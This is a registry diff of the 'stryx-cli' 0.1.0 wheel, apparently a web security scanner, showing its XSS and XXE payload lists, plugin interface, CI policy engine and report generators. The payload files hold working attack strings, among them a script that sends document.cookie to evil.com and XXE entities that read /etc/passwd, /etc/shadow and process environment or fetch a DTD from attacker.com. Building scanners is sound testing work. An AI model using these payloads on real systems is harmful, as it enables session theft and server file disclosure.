stryx-cli 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. stryx/__init__.py +35 -0
  2. stryx/ai/__init__.py +5 -0
  3. stryx/ai/attack_planner.py +199 -0
  4. stryx/ai/payload_generator.py +212 -0
  5. stryx/ai/prompts.py +85 -0
  6. stryx/ai/providers.py +249 -0
  7. stryx/attacks/__init__.py +6 -0
  8. stryx/attacks/attack_chain.py +111 -0
  9. stryx/attacks/replay.py +186 -0
  10. stryx/auth/__init__.py +1 -0
  11. stryx/auth/session_manager.py +335 -0
  12. stryx/cli.py +675 -0
  13. stryx/comparison/__init__.py +1 -0
  14. stryx/comparison/differ.py +255 -0
  15. stryx/config/__init__.py +6 -0
  16. stryx/config/default_config.yaml +12 -0
  17. stryx/config/loader.py +111 -0
  18. stryx/config/schema.py +80 -0
  19. stryx/crawler/__init__.py +5 -0
  20. stryx/crawler/discovery.py +178 -0
  21. stryx/crawler/graphql_discovery.py +86 -0
  22. stryx/crawler/html_crawler.py +294 -0
  23. stryx/crawler/js_endpoints.py +165 -0
  24. stryx/crawler/openapi.py +76 -0
  25. stryx/crawler/sitemap.py +94 -0
  26. stryx/orchestrator.py +347 -0
  27. stryx/payloads/cmdi.txt +31 -0
  28. stryx/payloads/header_injection.txt +15 -0
  29. stryx/payloads/ldap.txt +19 -0
  30. stryx/payloads/nosqli.txt +21 -0
  31. stryx/payloads/open_redirect.txt +23 -0
  32. stryx/payloads/path_traversal.txt +26 -0
  33. stryx/payloads/sqli.txt +31 -0
  34. stryx/payloads/ssrf.txt +30 -0
  35. stryx/payloads/ssti.txt +21 -0
  36. stryx/payloads/xss.txt +48 -0
  37. stryx/payloads/xxe.txt +35 -0
  38. stryx/plugins/__init__.py +5 -0
  39. stryx/plugins/base.py +85 -0
  40. stryx/policy/__init__.py +1 -0
  41. stryx/policy/engine.py +201 -0
  42. stryx/py.typed +0 -0
  43. stryx/reports/__init__.py +5 -0
  44. stryx/reports/generator.py +122 -0
  45. stryx/reports/json_report.py +72 -0
  46. stryx/reports/markdown_report.py +101 -0
  47. stryx/reports/sarif_report.py +200 -0
  48. stryx/reports/templates/report.html.j2 +163 -0
  49. stryx/reports/terminal_report.py +138 -0
  50. stryx/scanners/__init__.py +17 -0
  51. stryx/scanners/auth.py +444 -0
  52. stryx/scanners/authorization.py +220 -0
  53. stryx/scanners/blind.py +328 -0
  54. stryx/scanners/cloud_ssrf.py +208 -0
  55. stryx/scanners/cors.py +158 -0
  56. stryx/scanners/dependencies.py +296 -0
  57. stryx/scanners/disclosure.py +339 -0
  58. stryx/scanners/fuzz.py +391 -0
  59. stryx/scanners/graphql.py +309 -0
  60. stryx/scanners/injection.py +511 -0
  61. stryx/scanners/race.py +257 -0
  62. stryx/signatures/framework_fingerprints.yaml +122 -0
  63. stryx/signatures/known_vulns.yaml +210 -0
  64. stryx/utils/__init__.py +7 -0
  65. stryx/utils/evidence.py +109 -0
  66. stryx/utils/http_client.py +159 -0
  67. stryx/utils/logging.py +51 -0
  68. stryx/utils/rate_limiter.py +37 -0
  69. stryx_cli-0.1.0.dist-info/METADATA +236 -0
  70. stryx_cli-0.1.0.dist-info/RECORD +74 -0
  71. stryx_cli-0.1.0.dist-info/WHEEL +5 -0
  72. stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
  73. stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
  74. stryx_cli-0.1.0.dist-info/top_level.txt +1 -0
stryx/payloads/xss.txt ADDED
@@ -0,0 +1,48 @@
1
+ <script>alert(1)</script>
2
+ <script>alert('XSS')</script>
3
+ <script>alert(document.cookie)</script>
4
+ <img src=x onerror=alert(1)>
5
+ <svg onload=alert(1)>
6
+ <body onload=alert(1)>
7
+ <iframe src="javascript:alert(1)">
8
+ <input onfocus=alert(1) autofocus>
9
+ <marquee onstart=alert(1)>
10
+ <details open ontoggle=alert(1)>
11
+ <video src=x onerror=alert(1)>
12
+ <audio src=x onerror=alert(1)>
13
+ <object data="javascript:alert(1)">
14
+ <embed src="javascript:alert(1)">
15
+ "><script>alert(1)</script>
16
+ '><script>alert(1)</script>
17
+ "><img src=x onerror=alert(1)>
18
+ '><img src=x onerror=alert(1)>
19
+ javascript:alert(1)
20
+ javascript:alert(document.cookie)
21
+ data:text/html,<script>alert(1)</script>
22
+ <scr<script>ipt>alert(1)</scr</scr<script>ipt>
23
+ <script>eval(atob('YWxlcnQoMSk='))</script>
24
+ <script>fetch('https://evil.com/?c='+document.cookie)</script>
25
+ "><svg/onload=alert(1)>
26
+ "><body onload=alert(1)>
27
+ "><iframe src="javascript:alert(1)">
28
+ <div onmouseover=alert(1)>hover me</div>
29
+ <button onclick=alert(1)>click</button>
30
+ <input onmouseover=alert(1)>
31
+ "><input onfocus=alert(1) autofocus>
32
+ "><marquee onstart=alert(1)>
33
+ "><details open ontoggle=alert(1)>
34
+ "><video src=x onerror=alert(1)>
35
+ "><audio src=x onerror=alert(1)>
36
+ "><object data="javascript:alert(1)">
37
+ "><embed src="javascript:alert(1)">
38
+ "><base href="javascript://"><a href=alert(1)>click</a>
39
+ "><form><button formaction="javascript:alert(1)">X</button>
40
+ "><math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
41
+ "><style><img src=x onerror=alert(1)>
42
+ "><template><script>alert(1)</script></template>
43
+ "></script><script>alert(1)</script>
44
+ "><img ""><script>alert(1)</script>
45
+ "></><script>alert(1)</script>
46
+ "><a href="data:text/html,<script>alert(1)</script>">X</a>
47
+ "><svg><animate onbegin=alert(1) attributeName=x dur=1s>
48
+ "><svg><set onbegin=alert(1) attributeName=x to=1>
stryx/payloads/xxe.txt ADDED
@@ -0,0 +1,35 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
3
+ <foo>&xxe;</foo>
4
+ <?xml version="1.0" encoding="UTF-8"?>
5
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
6
+ <foo>&xxe;</foo>
7
+ <?xml version="1.0" encoding="UTF-8"?>
8
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]>
9
+ <foo>&xxe;</foo>
10
+ <?xml version="1.0" encoding="UTF-8"?>
11
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/cmdline">]>
12
+ <foo>&xxe;</foo>
13
+ <?xml version="1.0" encoding="UTF-8"?>
14
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]>
15
+ <foo>&xxe;</foo>
16
+ <?xml version="1.0" encoding="UTF-8"?>
17
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
18
+ <foo>&xxe;</foo>
19
+ <!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
20
+ <foo>&xxe;</foo>
21
+ <!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
22
+ <foo>&xxe;</foo>
23
+ <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]>
24
+ <foo>&send;</foo>
25
+ <!DOCTYPE foo [
26
+ <!ENTITY xxe1 SYSTEM "file:///etc/passwd">
27
+ <!ENTITY xxe2 SYSTEM "file:///etc/hostname">
28
+ ]>
29
+ <foo>&xxe1;&xxe2;</foo>
30
+ <?xml version="1.0" encoding="UTF-8"?>
31
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
32
+ <foo>&xxe;</foo>
33
+ <?xml version="1.0" encoding="UTF-8"?>
34
+ <!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">]>
35
+ <foo>&xxe;</foo>
@@ -0,0 +1,5 @@
1
+ """Plugin system for STRYX (v0.5+ feature -- interface defined here)."""
2
+
3
+ from stryx.plugins.base import BaseScanner, PluginMetadata
4
+
5
+ __all__ = ["BaseScanner", "PluginMetadata"]
stryx/plugins/base.py ADDED
@@ -0,0 +1,85 @@
1
+ """Base scanner plugin interface.
2
+
3
+ This defines the contract for custom scanner plugins (v0.5+).
4
+ The plugin loader will not be functional until v0.5, but the interface
5
+ is documented here for contributors who want to plan ahead.
6
+ """
7
+
8
+ from __future__ import annotations
9
+
10
+ from abc import ABC, abstractmethod
11
+ from dataclasses import dataclass, field
12
+ from typing import Any
13
+
14
+ from stryx.utils.evidence import Finding
15
+
16
+
17
+ @dataclass
18
+ class PluginMetadata:
19
+ """Metadata for a scanner plugin."""
20
+
21
+ name: str
22
+ version: str = "0.1.0"
23
+ author: str = ""
24
+ description: str = ""
25
+ tags: list[str] = field(default_factory=list)
26
+
27
+
28
+ class BaseScanner(ABC):
29
+ """Abstract base class for scanner plugins.
30
+
31
+ All scanner plugins must implement this interface. The plugin loader
32
+ (v0.5) will discover and instantiate classes that extend BaseScanner.
33
+
34
+ Required attributes:
35
+ metadata: PluginMetadata with name, version, description.
36
+
37
+ Required methods:
38
+ scan(): Run the scan and return a list of Finding objects.
39
+ validate_config(): Validate plugin-specific configuration.
40
+ """
41
+
42
+ @property
43
+ @abstractmethod
44
+ def metadata(self) -> PluginMetadata:
45
+ """Return plugin metadata."""
46
+ ...
47
+
48
+ @abstractmethod
49
+ async def scan(
50
+ self,
51
+ target_url: str,
52
+ endpoints: list[str],
53
+ config: dict[str, Any],
54
+ ) -> list[Finding]:
55
+ """Run the security scan.
56
+
57
+ Args:
58
+ target_url: The base URL of the target application.
59
+ endpoints: List of discovered endpoint URLs to test.
60
+ config: Plugin-specific configuration dictionary.
61
+
62
+ Returns:
63
+ List of Finding objects with full Evidence.
64
+ """
65
+ ...
66
+
67
+ @abstractmethod
68
+ def validate_config(self, config: dict[str, Any]) -> bool:
69
+ """Validate plugin-specific configuration.
70
+
71
+ Args:
72
+ config: Configuration dictionary to validate.
73
+
74
+ Returns:
75
+ True if configuration is valid, False otherwise.
76
+ """
77
+ ...
78
+
79
+ def get_required_dependencies(self) -> list[str]:
80
+ """Return list of required Python packages for this plugin.
81
+
82
+ Override this if your plugin needs additional dependencies.
83
+ The plugin loader (v0.5) will check these before loading.
84
+ """
85
+ return []
@@ -0,0 +1 @@
1
+ """Policy engine for CI/CD quality gates."""
stryx/policy/engine.py ADDED
@@ -0,0 +1,201 @@
1
+ """Policy engine for pass/fail evaluation of scan results.
2
+
3
+ Enables CI/CD quality gates by defining security policies
4
+ that scan results must satisfy.
5
+ """
6
+
7
+ from __future__ import annotations
8
+
9
+ from dataclasses import dataclass, field
10
+ from pathlib import Path
11
+ from typing import Any
12
+
13
+ import yaml
14
+
15
+ from stryx.utils.evidence import Finding, Severity
16
+ from stryx.utils.logging import get_logger
17
+
18
+ logger = get_logger("policy.engine")
19
+
20
+
21
+ @dataclass
22
+ class PolicyViolation:
23
+ """A single policy violation."""
24
+
25
+ rule: str
26
+ message: str
27
+ severity: str = "high"
28
+ details: str = ""
29
+
30
+
31
+ @dataclass
32
+ class PolicyResult:
33
+ """Result of policy evaluation."""
34
+
35
+ passed: bool
36
+ violations: list[PolicyViolation] = field(default_factory=list)
37
+ summary: str = ""
38
+
39
+ def __str__(self) -> str:
40
+ if self.passed:
41
+ return f"✅ Policy PASSED: {self.summary}"
42
+ lines = [f"❌ Policy FAILED: {self.summary}"]
43
+ for v in self.violations:
44
+ lines.append(f" - [{v.severity.upper()}] {v.rule}: {v.message}")
45
+ return "\n".join(lines)
46
+
47
+
48
+ class PolicyEngine:
49
+ """Evaluates scan findings against a security policy.
50
+
51
+ Policy YAML format:
52
+ policy:
53
+ max_critical: 0
54
+ max_high: 3
55
+ max_medium: 10
56
+ max_low: 50
57
+ max_findings: 100
58
+ required_headers:
59
+ - X-Content-Type-Options
60
+ - X-Frame-Options
61
+ blocked_cwe:
62
+ - CWE-89
63
+ - CWE-79
64
+ blocked_scanners:
65
+ - cloud-ssrf
66
+ min_confidence: 0.5
67
+ """
68
+
69
+ def __init__(self, policy_config: dict[str, Any] | None = None):
70
+ self.config = policy_config or {}
71
+
72
+ @classmethod
73
+ def from_file(cls, path: str) -> PolicyEngine:
74
+ """Load policy from a YAML file."""
75
+ try:
76
+ with open(path, encoding="utf-8") as f:
77
+ data = yaml.safe_load(f)
78
+ config = data.get("policy", data) if isinstance(data, dict) else {}
79
+ return cls(config)
80
+ except Exception as e:
81
+ logger.error(f"Failed to load policy from {path}: {e}")
82
+ return cls({})
83
+
84
+ def evaluate(self, findings: list[Finding]) -> PolicyResult:
85
+ """Evaluate findings against the policy."""
86
+ violations: list[PolicyViolation] = []
87
+
88
+ # Count by severity
89
+ severity_counts: dict[str, int] = {}
90
+ for f in findings:
91
+ sev = f.severity.value
92
+ severity_counts[sev] = severity_counts.get(sev, 0) + 1
93
+
94
+ # Check max severity counts
95
+ max_critical = self.config.get("max_critical")
96
+ if max_critical is not None and severity_counts.get("critical", 0) > max_critical:
97
+ violations.append(PolicyViolation(
98
+ rule="max_critical",
99
+ message=f"Found {severity_counts['critical']} critical findings (max: {max_critical})",
100
+ severity="critical",
101
+ ))
102
+
103
+ max_high = self.config.get("max_high")
104
+ if max_high is not None and severity_counts.get("high", 0) > max_high:
105
+ violations.append(PolicyViolation(
106
+ rule="max_high",
107
+ message=f"Found {severity_counts['high']} high findings (max: {max_high})",
108
+ severity="high",
109
+ ))
110
+
111
+ max_medium = self.config.get("max_medium")
112
+ if max_medium is not None and severity_counts.get("medium", 0) > max_medium:
113
+ violations.append(PolicyViolation(
114
+ rule="max_medium",
115
+ message=f"Found {severity_counts['medium']} medium findings (max: {max_medium})",
116
+ severity="medium",
117
+ ))
118
+
119
+ max_low = self.config.get("max_low")
120
+ if max_low is not None and severity_counts.get("low", 0) > max_low:
121
+ violations.append(PolicyViolation(
122
+ rule="max_low",
123
+ message=f"Found {severity_counts['low']} low findings (max: {max_low})",
124
+ severity="low",
125
+ ))
126
+
127
+ max_findings = self.config.get("max_findings")
128
+ if max_findings is not None and len(findings) > max_findings:
129
+ violations.append(PolicyViolation(
130
+ rule="max_findings",
131
+ message=f"Found {len(findings)} total findings (max: {max_findings})",
132
+ severity="high",
133
+ ))
134
+
135
+ # Check blocked CWEs
136
+ blocked_cwe = set(self.config.get("blocked_cwe", []))
137
+ if blocked_cwe:
138
+ for f in findings:
139
+ if f.cwe in blocked_cwe:
140
+ violations.append(PolicyViolation(
141
+ rule="blocked_cwe",
142
+ message=f"Blocked CWE found: {f.cwe} at {f.endpoint}",
143
+ severity=f.severity.value,
144
+ details=f.title,
145
+ ))
146
+
147
+ # Check blocked scanners
148
+ blocked_scanners = set(self.config.get("blocked_scanners", []))
149
+ if blocked_scanners:
150
+ for f in findings:
151
+ if f.scanner in blocked_scanners:
152
+ violations.append(PolicyViolation(
153
+ rule="blocked_scanners",
154
+ message=f"Finding from blocked scanner '{f.scanner}': {f.title}",
155
+ severity=f.severity.value,
156
+ details=f.endpoint,
157
+ ))
158
+
159
+ # Check minimum confidence
160
+ min_confidence = self.config.get("min_confidence")
161
+ if min_confidence is not None:
162
+ low_conf_count = sum(
163
+ 1 for f in findings if f.evidence.confidence < min_confidence
164
+ )
165
+ if low_conf_count > 0:
166
+ violations.append(PolicyViolation(
167
+ rule="min_confidence",
168
+ message=f"{low_conf_count} findings below confidence threshold {min_confidence}",
169
+ severity="info",
170
+ ))
171
+
172
+ # Build summary
173
+ total = len(findings)
174
+ passed = len(violations) == 0
175
+ if passed:
176
+ summary = f"{total} findings, all within policy limits"
177
+ else:
178
+ summary = f"{total} findings, {len(violations)} policy violation(s)"
179
+
180
+ return PolicyResult(
181
+ passed=passed,
182
+ violations=violations,
183
+ summary=summary,
184
+ )
185
+
186
+
187
+ # Default policy (permissive)
188
+ DEFAULT_POLICY = {
189
+ "max_critical": 0,
190
+ "max_high": 10,
191
+ "max_medium": 50,
192
+ "max_low": 200,
193
+ "max_findings": 500,
194
+ }
195
+
196
+
197
+ def save_default_policy(path: str) -> None:
198
+ """Save the default policy to a YAML file."""
199
+ with open(path, "w", encoding="utf-8") as f:
200
+ yaml.dump({"policy": DEFAULT_POLICY}, f, default_flow_style=False, sort_keys=False)
201
+ logger.info(f"Default policy saved to {path}")
stryx/py.typed ADDED
File without changes
@@ -0,0 +1,5 @@
1
+ """Report generation modules for STRYX."""
2
+
3
+ from stryx.reports.generator import ReportGenerator
4
+
5
+ __all__ = ["ReportGenerator"]
@@ -0,0 +1,122 @@
1
+ """Report generator -- orchestrates all report format outputs."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from stryx.attacks.attack_chain import AttackChain
6
+ from stryx.reports.json_report import JsonReport
7
+ from stryx.reports.markdown_report import MarkdownReport
8
+ from stryx.reports.terminal_report import TerminalReport
9
+ from stryx.utils.evidence import Finding
10
+ from stryx.utils.logging import get_logger
11
+
12
+ logger = get_logger("reports.generator")
13
+
14
+
15
+ class ReportGenerator:
16
+ """Generates security reports in multiple formats."""
17
+
18
+ def __init__(
19
+ self,
20
+ target_url: str,
21
+ findings: list[Finding],
22
+ attack_chains: list[AttackChain] | None = None,
23
+ ):
24
+ self.target_url = target_url
25
+ self.findings = findings
26
+ self.attack_chains = attack_chains or []
27
+
28
+ def generate_terminal(self) -> None:
29
+ """Display results in terminal."""
30
+ report = TerminalReport(
31
+ self.target_url, self.findings, self.attack_chains
32
+ )
33
+ report.display()
34
+
35
+ def generate_json(self, path: str) -> str:
36
+ """Generate JSON report."""
37
+ report = JsonReport(
38
+ self.target_url, self.findings, self.attack_chains
39
+ )
40
+ report.save(path)
41
+ return path
42
+
43
+ def generate_markdown(self, path: str) -> str:
44
+ """Generate Markdown report."""
45
+ report = MarkdownReport(
46
+ self.target_url, self.findings, self.attack_chains
47
+ )
48
+ report.save(path)
49
+ return path
50
+
51
+ def generate_html(self, path: str) -> str:
52
+ """Generate HTML report using Jinja2."""
53
+ try:
54
+ import os
55
+
56
+ from jinja2 import Environment, FileSystemLoader
57
+
58
+ template_dir = os.path.join(os.path.dirname(__file__), "templates")
59
+ env = Environment(loader=FileSystemLoader(template_dir))
60
+ template = env.get_template("report.html.j2")
61
+
62
+ # Count severities
63
+ severity_counts = {}
64
+ for f in self.findings:
65
+ sev = f.severity.value
66
+ severity_counts[sev] = severity_counts.get(sev, 0) + 1
67
+
68
+ # Prepare finding data for template
69
+ findings_data = []
70
+ for f in self.findings:
71
+ findings_data.append({
72
+ "title": f.title,
73
+ "severity": f.severity.value,
74
+ "endpoint": f.endpoint,
75
+ "description": f.description,
76
+ "remediation": f.remediation,
77
+ "cwe": f.cwe,
78
+ "owasp": f.owasp,
79
+ "evidence": f.evidence,
80
+ })
81
+
82
+ # Prepare chain data
83
+ chains_data = []
84
+ for c in self.attack_chains:
85
+ chains_data.append({
86
+ "name": c.name,
87
+ "total_impact": c.total_impact,
88
+ "estimated_severity": c.estimated_severity,
89
+ "steps": [
90
+ {
91
+ "title": step.finding.title,
92
+ "description": step.description,
93
+ }
94
+ for step in c.steps
95
+ ],
96
+ })
97
+
98
+ html = template.render(
99
+ target=self.target_url,
100
+ generated_at=__import__("datetime").datetime.now(
101
+ __import__("datetime").timezone.utc
102
+ ).isoformat(),
103
+ total_findings=len(self.findings),
104
+ critical_count=severity_counts.get("critical", 0),
105
+ high_count=severity_counts.get("high", 0),
106
+ medium_count=severity_counts.get("medium", 0),
107
+ low_count=severity_counts.get("low", 0),
108
+ findings=findings_data,
109
+ attack_chains=chains_data,
110
+ )
111
+
112
+ with open(path, "w", encoding="utf-8") as f:
113
+ f.write(html)
114
+ logger.info(f"HTML report saved to {path}")
115
+ return path
116
+
117
+ except ImportError:
118
+ logger.warning("Jinja2 not available, HTML report not generated")
119
+ return ""
120
+ except Exception as e:
121
+ logger.error(f"Failed to generate HTML report: {e}")
122
+ return ""
@@ -0,0 +1,72 @@
1
+ """JSON report generator -- MEDUSA integration contract."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import json
6
+ from datetime import UTC, datetime
7
+ from typing import Any
8
+
9
+ from stryx.attacks.attack_chain import AttackChain
10
+ from stryx.utils.evidence import Finding
11
+ from stryx.utils.logging import get_logger
12
+
13
+ logger = get_logger("reports.json")
14
+
15
+
16
+ class JsonReport:
17
+ """Generates machine-readable JSON reports for MEDUSA ingestion.
18
+
19
+ This is the stable integration contract -- MEDUSA parses this output.
20
+ Schema is documented in docs/DOCS.md.
21
+ """
22
+
23
+ def __init__(
24
+ self,
25
+ target_url: str,
26
+ findings: list[Finding],
27
+ attack_chains: list[AttackChain] | None = None,
28
+ ):
29
+ self.target_url = target_url
30
+ self.findings = findings
31
+ self.attack_chains = attack_chains or []
32
+
33
+ def generate(self) -> dict[str, Any]:
34
+ """Generate the JSON report."""
35
+ severity_counts = {}
36
+ for f in self.findings:
37
+ sev = f.severity.value
38
+ severity_counts[sev] = severity_counts.get(sev, 0) + 1
39
+
40
+ return {
41
+ "report": {
42
+ "tool": "stryx",
43
+ "version": "0.1.0",
44
+ "generated_at": datetime.now(UTC).isoformat(),
45
+ "target": self.target_url,
46
+ },
47
+ "summary": {
48
+ "total_findings": len(self.findings),
49
+ "by_severity": severity_counts,
50
+ "critical": severity_counts.get("critical", 0),
51
+ "high": severity_counts.get("high", 0),
52
+ "medium": severity_counts.get("medium", 0),
53
+ "low": severity_counts.get("low", 0),
54
+ "info": severity_counts.get("info", 0),
55
+ },
56
+ "findings": [f.to_dict() for f in self.findings],
57
+ "attack_chains": [c.to_dict() for c in self.attack_chains],
58
+ "metadata": {
59
+ "scanners_used": list(set(f.scanner for f in self.findings)),
60
+ "total_endpoints_tested": len(set(f.endpoint for f in self.findings)),
61
+ },
62
+ }
63
+
64
+ def to_json(self, indent: int = 2) -> str:
65
+ """Generate JSON string."""
66
+ return json.dumps(self.generate(), indent=indent, default=str)
67
+
68
+ def save(self, path: str) -> None:
69
+ """Save report to file."""
70
+ with open(path, "w", encoding="utf-8") as f:
71
+ f.write(self.to_json())
72
+ logger.info(f"JSON report saved to {path}")
@@ -0,0 +1,101 @@
1
+ """Markdown report generator."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from stryx.attacks.attack_chain import AttackChain
6
+ from stryx.utils.evidence import Finding
7
+ from stryx.utils.logging import get_logger
8
+
9
+ logger = get_logger("reports.markdown")
10
+
11
+
12
+ class MarkdownReport:
13
+ """Generates Markdown reports for PR comments and CI logs."""
14
+
15
+ def __init__(
16
+ self,
17
+ target_url: str,
18
+ findings: list[Finding],
19
+ attack_chains: list[AttackChain] | None = None,
20
+ ):
21
+ self.target_url = target_url
22
+ self.findings = findings
23
+ self.attack_chains = attack_chains or []
24
+
25
+ def generate(self) -> str:
26
+ """Generate the Markdown report."""
27
+ lines = [
28
+ "# STRYX Security Scan Report",
29
+ "",
30
+ f"**Target:** {self.target_url}",
31
+ f"**Findings:** {len(self.findings)}",
32
+ "",
33
+ ]
34
+
35
+ # Summary
36
+ severity_counts: dict[str, int] = {}
37
+ for f in self.findings:
38
+ sev = f.severity.value
39
+ severity_counts[sev] = severity_counts.get(sev, 0) + 1
40
+
41
+ lines.append("## Summary")
42
+ lines.append("")
43
+ for sev in ["critical", "high", "medium", "low", "info"]:
44
+ count = severity_counts.get(sev, 0)
45
+ if count > 0:
46
+ lines.append(f"- **{sev.upper()}:** {count}")
47
+ lines.append("")
48
+
49
+ # Findings
50
+ if self.findings:
51
+ lines.append("## Findings")
52
+ lines.append("")
53
+
54
+ for i, f in enumerate(self.findings, 1):
55
+ lines.append(f"### {i}. [{f.severity.value.upper()}] {f.title}")
56
+ lines.append("")
57
+ lines.append(f"**Endpoint:** `{f.endpoint}`")
58
+ lines.append(f"**CWE:** {f.cwe}")
59
+ lines.append(f"**OWASP:** {f.owasp}")
60
+ lines.append(f"**Scanner:** {f.scanner}")
61
+ lines.append(f"**Confidence:** {f.evidence.confidence:.0%}")
62
+ lines.append("")
63
+ lines.append(f"**Description:** {f.description}")
64
+ lines.append("")
65
+ lines.append(f"**Remediation:** {f.remediation}")
66
+ lines.append("")
67
+ lines.append("**Evidence:**")
68
+ lines.append(f"- Method: `{f.evidence.request_method}`")
69
+ lines.append(f"- URL: `{f.evidence.request_url}`")
70
+ lines.append(f"- Status: `{f.evidence.response_status}`")
71
+ if f.evidence.payload:
72
+ lines.append(f"- Payload: `{f.evidence.payload}`")
73
+ if f.evidence.response_snippet:
74
+ lines.append("- Response snippet:")
75
+ lines.append("```")
76
+ lines.append(f.evidence.response_snippet[:500])
77
+ lines.append("```")
78
+ lines.append("")
79
+ lines.append("---")
80
+ lines.append("")
81
+
82
+ # Attack chains
83
+ if self.attack_chains:
84
+ lines.append("## Attack Chains")
85
+ lines.append("")
86
+ for chain in self.attack_chains:
87
+ lines.append(f"### {chain.name}")
88
+ lines.append(f"**Impact:** {chain.total_impact}")
89
+ lines.append(f"**Severity:** {chain.estimated_severity.upper()}")
90
+ lines.append("")
91
+ for j, step in enumerate(chain.steps, 1):
92
+ lines.append(f"{j}. **{step.finding.title}** - {step.description}")
93
+ lines.append("")
94
+
95
+ return "\n".join(lines)
96
+
97
+ def save(self, path: str) -> None:
98
+ """Save report to file."""
99
+ with open(path, "w", encoding="utf-8") as f:
100
+ f.write(self.generate())
101
+ logger.info(f"Markdown report saved to {path}")